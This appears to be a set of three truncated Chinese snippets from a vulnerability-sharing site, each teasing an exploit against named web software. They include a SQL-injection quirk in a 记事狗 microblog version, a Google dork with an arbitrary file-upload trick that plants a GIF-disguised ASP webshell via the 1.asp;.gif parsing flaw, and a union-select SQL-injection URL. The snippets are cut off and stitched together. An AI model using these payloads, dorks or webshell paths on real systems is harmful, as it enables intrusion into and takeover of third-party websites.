无意中发现的，只测试了“记事狗微博客系统2.5.0 UTF8 Build 20110130” 因为系统会将”_” 转换为”\_” 所以像”load_file&rd...

google搜索qtdisp.asp?disp_id=源码根目录漏洞文件in_file.asp可以自定文件漏洞通杀in_file.asp?file_name=1.asp;上我们的图片gif格式木马webshell 路径upfile/1.asp;.gif...

白盒在某种程度上来说也TM是个体力活，MVC的框架让人看到蛋疼 poc: 1. index.php?m=liansuohotel&cityid=53%20and%201=2%20union%20select%201,...